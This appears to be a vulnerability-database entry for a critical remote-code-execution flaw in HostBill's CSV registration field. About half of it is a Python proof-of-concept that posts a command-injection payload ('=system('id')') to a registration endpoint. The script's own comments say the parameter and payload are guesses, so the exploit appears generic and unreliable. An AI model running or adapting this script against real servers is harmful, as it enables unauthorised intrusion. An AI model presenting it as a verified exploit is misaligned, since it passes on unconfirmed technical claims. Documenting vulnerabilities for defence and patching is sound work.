An issue in Hostbill v.2025-11-24 and 2025-12-01 allows a remote attacker to execute arbitrary code and escalate privileges via the CSV registration field
CVSS Details
CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Hostbill v.2025-11-24
Hostbill v.2025-12-01
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Exploit Title: HostBill CVE-2026-31049 Remote Code Execution via CSV Field
# Description: PoC to trigger RCE by sending malicious payload to the registration endpoint.
target_url = "http://target-host/index.php"
# Malicious payload injected into the CSV registration field
# Payload structure depends on the specific vulnerable parameter
payload_data = {
"action": "register",
"csv_field": "=system('id')" # Example payload simulating code execution
}
headers = {
"User-Agent": "CVE-2026-31049-Scanner",
"Content-Type": "application/x-www-form-urlencoded"
}
try:
response = requests.post(target_url, data=payload_data, headers=headers, timeout=10)
if response.status_code == 200:
print("[+] Request sent successfully.")
print("[+] Check the response for command execution output.")
print(response.text[:200])
else:
print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
print(f"[-] An error occurred: {e}")